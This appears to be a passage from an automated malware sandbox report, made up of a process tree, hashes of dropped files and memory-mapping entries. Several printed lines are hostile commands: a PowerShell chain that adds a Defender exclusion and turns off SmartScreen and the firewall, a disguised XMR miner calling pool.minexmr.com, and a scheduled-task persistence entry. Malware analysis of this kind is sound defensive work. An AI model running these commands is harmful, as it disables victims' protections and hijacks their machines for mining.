- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(exit)3⤵
- Modifies security service
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\UpSys.exe"C:\ProgramData\UpSys.exe" /SW:0 powershell.exe4⤵
- Executes dropped EXE
-
C:\ProgramData\UpSys.exe"C:\ProgramData\UpSys.exe" /SW:0 powershell.exe5⤵
- Executes dropped EXE
-
C:\ProgramData\UpSys.exe"C:\ProgramData\UpSys.exe" /TI/ /SW:0 powershell.exe6⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"7⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\system32\netsh.exe"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off4⤵
-
C:\ProgramData\Systemd\Microsoft_Edge.exe-o pool.minexmr.com:4444 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQnLV2S6XfF4NcZDZ76 -p password666 --coin=XMR --cpu-max-threads-hint=353⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\2F94.exeC:\Users\Admin\AppData\Local\Temp\2F94.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\sihost.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\sihost.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\sihost.exe"2⤵
- Creates scheduled task(s)
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\MicrosoftNetwork\System.exeMD5
844b7e033c078ed67b52558b5d891741
SHA1cff2a6b3b726455b9ed898aa766f2363189642bc
SHA256eff8a484eafd5ebdf57845e6a656793520bdddf5469ea4a95eaa578e8bca6c50
SHA512537487e3d6b6be107530e36547f3b66d61cce29d127ac1ce9ad34d2eb1e60ddb4d368a6c8e1366ef307982ffba507aff87ca2a9590e9fb58ad74b7c628a6dfca
-
C:\ProgramData\Stub.exeMD5
d04d4d9896a08dc0ec357ca574814a1b
SHA1c505429beddc51abc26c29e5ee96df5f44a8f171
SHA256dff7a52513235d80ee44e0a38c1b9078787d0482af66646b4a84c43bc539e2b3
SHA5127cc60ebe0ce9966247868fa679076cc9258bcaf2f3b036249143c6d2eac41ef6d3396503b6434173b41cc6dc393b6cf58ed8919f3d8bcc5c44a03a59c0aa4cc0
-
C:\ProgramData\Stub.exeMD5
d04d4d9896a08dc0ec357ca574814a1b
SHA1c505429beddc51abc26c29e5ee96df5f44a8f171
SHA256dff7a52513235d80ee44e0a38c1b9078787d0482af66646b4a84c43bc539e2b3
SHA5127cc60ebe0ce9966247868fa679076cc9258bcaf2f3b036249143c6d2eac41ef6d3396503b6434173b41cc6dc393b6cf58ed8919f3d8bcc5c44a03a59c0aa4cc0
-
C:\ProgramData\Systemd\Microsoft_Edge.exeMD5
dd65d21cce0fb19114b0a0aadedf8e00
SHA12f147e1d503561b4fdaa2e0adc2191ab73184b3c
SHA25634db189b47a0568cefceaf3e00968482896969132d2f77ebe42e4a9e91db2cdc
SHA512df98ebb4c0ca4bae827ade7026d39e29b144e0de91e83c77476739bd43d3e2709f34cf618efe6ea22a89d3ae59e7b29f5202df15a3eddb0d5ffee18b6e217444
-
C:\ProgramData\Systemd\Microsoft_Edge.exeMD5
dd65d21cce0fb19114b0a0aadedf8e00
SHA12f147e1d503561b4fdaa2e0adc2191ab73184b3c
SHA25634db189b47a0568cefceaf3e00968482896969132d2f77ebe42e4a9e91db2cdc
SHA512df98ebb4c0ca4bae827ade7026d39e29b144e0de91e83c77476739bd43d3e2709f34cf618efe6ea22a89d3ae59e7b29f5202df15a3eddb0d5ffee18b6e217444
-
C:\ProgramData\UpSys.exeMD5
efe5769e37ba37cf4607cb9918639932
SHA1f24ca204af2237a714e8b41d54043da7bbe5393b
SHA2565f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2
SHA51233794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1
-
C:\ProgramData\UpSys.exeMD5
efe5769e37ba37cf4607cb9918639932
SHA1f24ca204af2237a714e8b41d54043da7bbe5393b
SHA2565f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2
SHA51233794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1
-
C:\ProgramData\UpSys.exeMD5
efe5769e37ba37cf4607cb9918639932
SHA1f24ca204af2237a714e8b41d54043da7bbe5393b
SHA2565f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2
SHA51233794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1
-
C:\ProgramData\UpSys.exeMD5
efe5769e37ba37cf4607cb9918639932
SHA1f24ca204af2237a714e8b41d54043da7bbe5393b
SHA2565f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2
SHA51233794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\FBFB.exe.logMD5
41fbed686f5700fc29aaccf83e8ba7fd
SHA15271bc29538f11e42a3b600c8dc727186e912456
SHA256df4e9d012687cdabd15e86bf37be15d6c822e1f50dde530a02468f0006586437
SHA512234b2235c1ced25810a4121c5eabcbf9f269e82c126a1adc363ee34478173f8b462e90eb53f5f11533641663350b90ec1e2360fd805b10c041fab12f4da7a034
-
C:\Users\Admin\AppData\Local\Temp\1830.exeMD5
05a8bb09740271c4793573231b58577e
SHA1caffe449a6a5a6a513d12880b697d81660ac36c5
SHA256e6f3e1291f3494f364778772237bdbf4a3c943c64cde34b53a2ab6d809fd5ae8
SHA5123055f3c16b8381c39a657fac88a3de179cd65c79f974d0cd57a301cbee0d7e0bb0b5d051f44495872b18f355bf9f66fa7f73350c721072698f43ca97d373f163
-
C:\Users\Admin\AppData\Local\Temp\1830.exeMD5
05a8bb09740271c4793573231b58577e
SHA1caffe449a6a5a6a513d12880b697d81660ac36c5
SHA256e6f3e1291f3494f364778772237bdbf4a3c943c64cde34b53a2ab6d809fd5ae8
SHA5123055f3c16b8381c39a657fac88a3de179cd65c79f974d0cd57a301cbee0d7e0bb0b5d051f44495872b18f355bf9f66fa7f73350c721072698f43ca97d373f163
-
C:\Users\Admin\AppData\Local\Temp\208E.exeMD5
a8f923639f9b10392a12e409a4b65d80
SHA15dc1b8d6751f37ac2cfa526e35de2bedac479332
SHA256ec9c47685aaf2711429538df1efddeace58992d79f685387778f0a99af4cdbe5
SHA51257a34ad6388e675c69dcce9a5a8761d9d7ec80be3229545b82dfd8bf16f0702ccdf6a51b8316d569f10f8a6e2e9b9e78ee07227b73d356984a10061b63921214
-
C:\Users\Admin\AppData\Local\Temp\2A82.exeMD5
72ebda1e2c91ad8b5b1bfb289ffa77e0
SHA15410014afec276692910ded77d532775de92e699
SHA256598abf20dbea3d5ea767057ca90aba6ddfd051d1074684b9099b47037af5bb1b
SHA51275c97d3c35c90627dfd52dfdfe2539bdfe297cc0ca04a117aa5df294af8857e4fddf0cae527d2a4bdf12cd4a6666dc3e64f268f1e68f8276dd39950f77357c63
-
C:\Users\Admin\AppData\Local\Temp\2F94.exeMD5
d97c34cf8df6b94a767a4de88f38af86
SHA190af7b45728e4be0f403f097e1687fcc3c1053b9
SHA256a79d76b9e2dc0e30bf14ba869fa8627080f88d3bdfd96c7e6631b707169ea359
SHA512ef1558c23ec769c3212d48da8afc8121f484b26809e21864512d7f9e5cbf2502254d426d6155a9c6534351f66f73c95b64ff8154cc39512bc5d538fed7b636c3
-
C:\Users\Admin\AppData\Local\Temp\2F94.exeMD5
d97c34cf8df6b94a767a4de88f38af86
SHA190af7b45728e4be0f403f097e1687fcc3c1053b9
SHA256a79d76b9e2dc0e30bf14ba869fa8627080f88d3bdfd96c7e6631b707169ea359
SHA512ef1558c23ec769c3212d48da8afc8121f484b26809e21864512d7f9e5cbf2502254d426d6155a9c6534351f66f73c95b64ff8154cc39512bc5d538fed7b636c3
-
C:\Users\Admin\AppData\Local\Temp\429.exeMD5
f853fe6b26dcf67545675aec618f3a99
SHA1a70f5ffd6dac789909ccb19dfb31272a520c7bc0
SHA256091ba447af0f0cabd66484b3f81e909ca01be4e27db9ccf42779174e04dad57a
SHA5124764e88d5bdcf88447e0782c88fec18f5a1083b460829e16635a8602173f1a6813d3ff93866bef587f9f9b682451d4386bd765b2da580c69f7483b48f074bbd3
-
C:\Users\Admin\AppData\Local\Temp\429.exeMD5
f853fe6b26dcf67545675aec618f3a99
SHA1a70f5ffd6dac789909ccb19dfb31272a520c7bc0
SHA256091ba447af0f0cabd66484b3f81e909ca01be4e27db9ccf42779174e04dad57a
SHA5124764e88d5bdcf88447e0782c88fec18f5a1083b460829e16635a8602173f1a6813d3ff93866bef587f9f9b682451d4386bd765b2da580c69f7483b48f074bbd3
-
C:\Users\Admin\AppData\Local\Temp\D91.exeMD5
f565831d19adf8e031e0eacccd65d339
SHA1a20c300ac91be8f9f3497d11144ed511a31b7962
SHA2566d4aeb893fda30cf349de8af13358009206ea3c4d094e771a3bd777aa4bd4a30
SHA5122c75feacccce0b996e1773803ae7aa96d8236752fd89d995beedb66f0a9fc2b79cbc20c1f7e7c4e2d0176a116dd660625d54d3ceead876cdc0ef1cf334bb719e
-
C:\Users\Admin\AppData\Local\Temp\D91.exeMD5
f565831d19adf8e031e0eacccd65d339
SHA1a20c300ac91be8f9f3497d11144ed511a31b7962
SHA2566d4aeb893fda30cf349de8af13358009206ea3c4d094e771a3bd777aa4bd4a30
SHA5122c75feacccce0b996e1773803ae7aa96d8236752fd89d995beedb66f0a9fc2b79cbc20c1f7e7c4e2d0176a116dd660625d54d3ceead876cdc0ef1cf334bb719e
-
C:\Users\Admin\AppData\Local\Temp\F8EC.exeMD5
924b06fed5002d7dbc6004401b7a519f
SHA1669962749b03a129e44c6eec9ef2804ec31493f4
SHA256858a2b253b7e26188cffde5e58dfb08e4a26ef393f962958d6a1615c93f9917e
SHA5127b9e2c6765077ebe4e438e86f805792b02e18e2cc4519184c80db4a975db40dec9969a950451f1cdce95a0648f8ff2347fce619e8b40551319ee69e5f577b486
-
C:\Users\Admin\AppData\Local\Temp\F8EC.exeMD5
924b06fed5002d7dbc6004401b7a519f
SHA1669962749b03a129e44c6eec9ef2804ec31493f4
SHA256858a2b253b7e26188cffde5e58dfb08e4a26ef393f962958d6a1615c93f9917e
SHA5127b9e2c6765077ebe4e438e86f805792b02e18e2cc4519184c80db4a975db40dec9969a950451f1cdce95a0648f8ff2347fce619e8b40551319ee69e5f577b486
-
C:\Users\Admin\AppData\Local\Temp\F8EC.exeMD5
924b06fed5002d7dbc6004401b7a519f
SHA1669962749b03a129e44c6eec9ef2804ec31493f4
SHA256858a2b253b7e26188cffde5e58dfb08e4a26ef393f962958d6a1615c93f9917e
SHA5127b9e2c6765077ebe4e438e86f805792b02e18e2cc4519184c80db4a975db40dec9969a950451f1cdce95a0648f8ff2347fce619e8b40551319ee69e5f577b486
-
C:\Users\Admin\AppData\Local\Temp\FBFB.exeMD5
8df6ef1e48d3a33226c91bf4a93b0c8a
SHA1e70ed102babe577b9481be056cb8cc0564bdc669
SHA2565c08f9fc48f867d84001477316d7235e73483cc3fc6ac0f94ebd68564da016cd
SHA512d5e021bfd927ebd9ce585bafe88970ea576f4e27752940e087a03d18568787d7442735495703cd8c02a4988e4ab13fcfc089956c9b109d250227b947b8dab1d0
-
C:\Users\Admin\AppData\Local\Temp\FBFB.exeMD5
8df6ef1e48d3a33226c91bf4a93b0c8a
SHA1e70ed102babe577b9481be056cb8cc0564bdc669
SHA2565c08f9fc48f867d84001477316d7235e73483cc3fc6ac0f94ebd68564da016cd
SHA512d5e021bfd927ebd9ce585bafe88970ea576f4e27752940e087a03d18568787d7442735495703cd8c02a4988e4ab13fcfc089956c9b109d250227b947b8dab1d0
-
C:\Users\Admin\AppData\Local\Temp\FBFB.exeMD5
8df6ef1e48d3a33226c91bf4a93b0c8a
SHA1e70ed102babe577b9481be056cb8cc0564bdc669
SHA2565c08f9fc48f867d84001477316d7235e73483cc3fc6ac0f94ebd68564da016cd
SHA512d5e021bfd927ebd9ce585bafe88970ea576f4e27752940e087a03d18568787d7442735495703cd8c02a4988e4ab13fcfc089956c9b109d250227b947b8dab1d0
-
C:\Users\Admin\AppData\Local\Temp\Zenar.exeMD5
844b7e033c078ed67b52558b5d891741
SHA1cff2a6b3b726455b9ed898aa766f2363189642bc
SHA256eff8a484eafd5ebdf57845e6a656793520bdddf5469ea4a95eaa578e8bca6c50
SHA512537487e3d6b6be107530e36547f3b66d61cce29d127ac1ce9ad34d2eb1e60ddb4d368a6c8e1366ef307982ffba507aff87ca2a9590e9fb58ad74b7c628a6dfca
-
C:\Users\Admin\AppData\Local\Temp\Zenar.exeMD5
844b7e033c078ed67b52558b5d891741
SHA1cff2a6b3b726455b9ed898aa766f2363189642bc
SHA256eff8a484eafd5ebdf57845e6a656793520bdddf5469ea4a95eaa578e8bca6c50
SHA512537487e3d6b6be107530e36547f3b66d61cce29d127ac1ce9ad34d2eb1e60ddb4d368a6c8e1366ef307982ffba507aff87ca2a9590e9fb58ad74b7c628a6dfca
-
C:\Users\Admin\AppData\Local\Temp\owWzZ6oZYK.exeMD5
a4fd36173db30403b7d8f26c0701cdda
SHA11bbf6391906420d6ef9f31835b967135ac18c992
SHA256025eeb3fa00282ea1e6db1e5d47fd8eeb5415c7a3479af00fd4d81cb9ecd82d2
SHA5123857c9b3da33ed062bd96386f563b02888a54479701fd05ff0a8b49cb233a1d84ea0fc96a34f1d137f8239059bcf2e5509abc52a0dc44a5b1592f591a7a31feb
-
C:\Users\Admin\AppData\Local\Temp\owWzZ6oZYK.exeMD5
a4fd36173db30403b7d8f26c0701cdda
SHA11bbf6391906420d6ef9f31835b967135ac18c992
SHA256025eeb3fa00282ea1e6db1e5d47fd8eeb5415c7a3479af00fd4d81cb9ecd82d2
SHA5123857c9b3da33ed062bd96386f563b02888a54479701fd05ff0a8b49cb233a1d84ea0fc96a34f1d137f8239059bcf2e5509abc52a0dc44a5b1592f591a7a31feb
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\sihost.exeMD5
a4fd36173db30403b7d8f26c0701cdda
SHA11bbf6391906420d6ef9f31835b967135ac18c992
SHA256025eeb3fa00282ea1e6db1e5d47fd8eeb5415c7a3479af00fd4d81cb9ecd82d2
SHA5123857c9b3da33ed062bd96386f563b02888a54479701fd05ff0a8b49cb233a1d84ea0fc96a34f1d137f8239059bcf2e5509abc52a0dc44a5b1592f591a7a31feb
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\sihost.exeMD5
a4fd36173db30403b7d8f26c0701cdda
SHA11bbf6391906420d6ef9f31835b967135ac18c992
SHA256025eeb3fa00282ea1e6db1e5d47fd8eeb5415c7a3479af00fd4d81cb9ecd82d2
SHA5123857c9b3da33ed062bd96386f563b02888a54479701fd05ff0a8b49cb233a1d84ea0fc96a34f1d137f8239059bcf2e5509abc52a0dc44a5b1592f591a7a31feb
-
\Users\Admin\AppData\LocalLow\sqlite3.dllMD5
f964811b68f9f1487c2b41e1aef576ce
SHA1b423959793f14b1416bc3b7051bed58a1034025f
SHA25683bc57dcf282264f2b00c21ce0339eac20fcb7401f7c5472c0cd0c014844e5f7
SHA512565b1a7291c6fcb63205907fcd9e72fc2e11ca945afc4468c378edba882e2f314c2ac21a7263880ff7d4b84c2a1678024c1ac9971ac1c1de2bfa4248ec0f98c4
-
\Users\Admin\AppData\LocalLow\uS0wV5wY9qH3\freebl3.dllMD5
60acd24430204ad2dc7f148b8cfe9bdc
SHA1989f377b9117d7cb21cbe92a4117f88f9c7693d9
SHA2569876c53134dbbec4dcca67581f53638eba3fea3a15491aa3cf2526b71032da97
SHA512626c36e9567f57fa8ec9c36d96cbadede9c6f6734a7305ecfb9f798952bbacdfa33a1b6c4999ba5b78897dc2ec6f91870f7ec25b2ceacbaee4be942fe881db01
-
\Users\Admin\AppData\LocalLow\uS0wV5wY9qH3\freebl3.dllMD5
60acd24430204ad2dc7f148b8cfe9bdc
SHA1989f377b9117d7cb21cbe92a4117f88f9c7693d9
SHA2569876c53134dbbec4dcca67581f53638eba3fea3a15491aa3cf2526b71032da97
SHA512626c36e9567f57fa8ec9c36d96cbadede9c6f6734a7305ecfb9f798952bbacdfa33a1b6c4999ba5b78897dc2ec6f91870f7ec25b2ceacbaee4be942fe881db01
-
\Users\Admin\AppData\LocalLow\uS0wV5wY9qH3\mozglue.dllMD5
eae9273f8cdcf9321c6c37c244773139
SHA18378e2a2f3635574c106eea8419b5eb00b8489b0
SHA256a0c6630d4012ae0311ff40f4f06911bcf1a23f7a4762ce219b8dffa012d188cc
SHA51206e43e484a89cea9ba9b9519828d38e7c64b040f44cdaeb321cbda574e7551b11fea139ce3538f387a0a39a3d8c4cba7f4cf03e4a3c98db85f8121c2212a9097
-
\Users\Admin\AppData\LocalLow\uS0wV5wY9qH3\nss3.dllMD5
02cc7b8ee30056d5912de54f1bdfc219
SHA1a6923da95705fb81e368ae48f93d28522ef552fb
SHA2561989526553fd1e1e49b0fea8036822ca062d3d39c4cab4a37846173d0f1753d5
SHA5120d5dfcf4fb19b27246fa799e339d67cd1b494427783f379267fb2d10d615ffb734711bab2c515062c078f990a44a36f2d15859b1dacd4143dcc35b5c0cee0ef5
-
\Users\Admin\AppData\LocalLow\uS0wV5wY9qH3\softokn3.dllMD5
4e8df049f3459fa94ab6ad387f3561ac
SHA106ed392bc29ad9d5fc05ee254c2625fd65925114
SHA25625a4dae37120426ab060ebb39b7030b3e7c1093cc34b0877f223b6843b651871
SHA5123dd4a86f83465989b2b30c240a7307edd1b92d5c1d5c57d47eff287dc9daa7bace157017908d82e00be90f08ff5badb68019ffc9d881440229dcea5038f61cd6
-
memory/760-192-0x0000000002080000-0x0000000002110000-memory.dmpFilesize
576KB
-
memory/760-177-0x0000000000000000-mapping.dmp
-
memory/760-199-0x0000000000400000-0x00000000004F2000-memory.dmpFilesize
968KB
-
memory/1016-262-0x0000000000000000-mapping.dmp
-
memory/1236-322-0x0000000000000000-mapping.dmp
-
memory/1236-349-0x000002A674F40000-0x000002A674F42000-memory.dmpFilesize
8KB
-
memory/1236-352-0x000002A674F43000-0x000002A674F45000-memory.dmpFilesize
8KB
-
memory/1560-319-0x0000000000000000-mapping.dmp
-
memory/1560-396-0x00000000001E0000-0x0000000000200000-memory.dmpFilesize
128KB
-
memory/1560-389-0x00000000001C0000-0x00000000001E0000-memory.dmpFilesize
128KB
-
memory/1632-299-0x0000022BEE9C3000-0x0000022BEE9C5000-memory.dmpFilesize
8KB
-
memory/1632-315-0x0000022BEE9C8000-0x0000022BEE9C9000-memory.dmpFilesize
4KB
-
memory/1632-300-0x0000022BEE9C6000-0x0000022BEE9C8000-memory.dmpFilesize
8KB
-
memory/1632-298-0x0000022BEE9C0000-0x0000022BEE9C2000-memory.dmpFilesize
8KB
-
memory/1632-268-0x0000000000000000-mapping.dmp
-
memory/1808-393-0x0000000000000000-mapping.dmp
-
memory/1908-181-0x0000000000000000-mapping.dmp
-
memory/1908-189-0x00000000771D0000-0x000000007735E000-memory.dmpFilesize
1.6MB
-
memory/1908-184-0x0000000000CA0000-0x0000000000CA1000-memory.dmpFilesize
4KB
-
memory/1908-191-0x00000000015F0000-0x00000000015F1000-memory.dmpFilesize
4KB
-
memory/1912-231-0x0000000005680000-0x0000000005681000-memory.dmpFilesize
4KB
-
memory/1912-209-0x0000000000000000-mapping.dmp
-
memory/1912-215-0x0000000000290000-0x0000000000291000-memory.dmpFilesize
4KB
-
memory/1912-230-0x00000000771D0000-0x000000007735E000-memory.dmpFilesize
1.6MB
-
memory/2112-115-0x0000000000720000-0x0000000000729000-memory.dmpFilesize
36KB
-
memory/2208-257-0x0000000000000000-mapping.dmp
-
memory/2256-395-0x0000000000400000-0x00000000004A8000-memory.dmpFilesize
672KB
-
memory/2256-207-0x0000000007530000-0x0000000007531000-memory.dmpFilesize
4KB
-
memory/2256-163-0x0000000005670000-0x0000000005671000-memory.dmpFilesize
4KB
-
memory/2256-139-0x0000000001310000-0x0000000001311000-memory.dmpFilesize
4KB
-
memory/2256-141-0x0000000005C90000-0x0000000005C91000-memory.dmpFilesize
4KB
-
memory/2256-394-0x00000000020A0000-0x00000000020A4000-memory.dmpFilesize
16KB
-
memory/2256-156-0x00000000054E0000-0x00000000054E1000-memory.dmpFilesize
4KB
-
memory/2256-150-0x00000000054A0000-0x00000000054A1000-memory.dmpFilesize
4KB
-
memory/2256-131-0x0000000000000000-mapping.dmp
-
memory/2256-144-0x00000000771D0000-0x000000007735E000-memory.dmpFilesize
1.6MB
-
memory/2256-143-0x0000000005680000-0x0000000005681000-memory.dmpFilesize
4KB
-
memory/2256-142-0x0000000003200000-0x0000000003201000-memory.dmpFilesize
4KB
-
memory/2320-135-0x0000000000402FA5-mapping.dmp
-
memory/2328-158-0x0000000000000000-mapping.dmp
-
memory/2328-161-0x0000000000600000-0x0000000000601000-memory.dmpFilesize
4KB
-
memory/2328-165-0x0000000004FF0000-0x0000000004FF1000-memory.dmpFilesize
4KB
-
memory/2376-116-0x0000000000400000-0x0000000000409000-memory.dmpFilesize
36KB
-
memory/2376-117-0x0000000000402FA5-mapping.dmp
-
memory/2628-255-0x0000000000000000-mapping.dmp
-
memory/2628-266-0x00000000004B0000-0x000000000055E000-memory.dmpFilesize
696KB
-
memory/2628-267-0x0000000000400000-0x00000000004A8000-memory.dmpFilesize
672KB
-
memory/2640-119-0x0000000000000000-mapping.dmp
-
memory/2640-137-0x00000000004B0000-0x00000000005FA000-memory.dmpFilesize
1.3MB
-
memory/2640-316-0x0000000000000000-mapping.dmp
-
memory/2732-129-0x0000000004B30000-0x0000000004B31000-memory.dmpFilesize
4KB
-
memory/2732-125-0x0000000000130000-0x0000000000131000-memory.dmpFilesize
4KB
-
memory/2732-122-0x0000000000000000-mapping.dmp
-
memory/2732-127-0x0000000004970000-0x0000000004971000-memory.dmpFilesize
4KB
-
memory/2732-128-0x0000000004910000-0x0000000004911000-memory.dmpFilesize
4KB
-
memory/2732-130-0x0000000005040000-0x0000000005041000-memory.dmpFilesize
4KB
-
memory/3036-118-0x0000000000DC0000-0x0000000000DD6000-memory.dmpFilesize
88KB
-
memory/3036-180-0x0000000002F70000-0x0000000002F86000-memory.dmpFilesize
88KB
-
memory/3120-308-0x0000000000000000-mapping.dmp
-
memory/3308-146-0x000000000041C5CE-mapping.dmp
-
memory/3308-194-0x00000000067F0000-0x00000000067F1000-memory.dmpFilesize
4KB
-
memory/3308-145-0x0000000000400000-0x0000000000422000-memory.dmpFilesize
136KB
-
memory/3308-164-0x0000000004D90000-0x0000000005396000-memory.dmpFilesize
6.0MB
-
memory/3308-203-0x0000000006AE0000-0x0000000006AE1000-memory.dmpFilesize
4KB
-
memory/3308-195-0x0000000006EF0000-0x0000000006EF1000-memory.dmpFilesize
4KB
-
memory/3508-259-0x0000000000000000-mapping.dmp
-
memory/3592-265-0x0000000000000000-mapping.dmp
-
memory/3872-233-0x0000000002170000-0x0000000002200000-memory.dmpFilesize
576KB
-
memory/3872-225-0x0000000000000000-mapping.dmp
-
memory/3872-234-0x0000000000400000-0x00000000004F2000-memory.dmpFilesize
968KB
-
memory/3908-174-0x0000000004B20000-0x0000000005126000-memory.dmpFilesize
6.0MB
-
memory/3908-169-0x00000000002D0000-0x00000000002D1000-memory.dmpFilesize
4KB
-
memory/3908-166-0x0000000000000000-mapping.dmp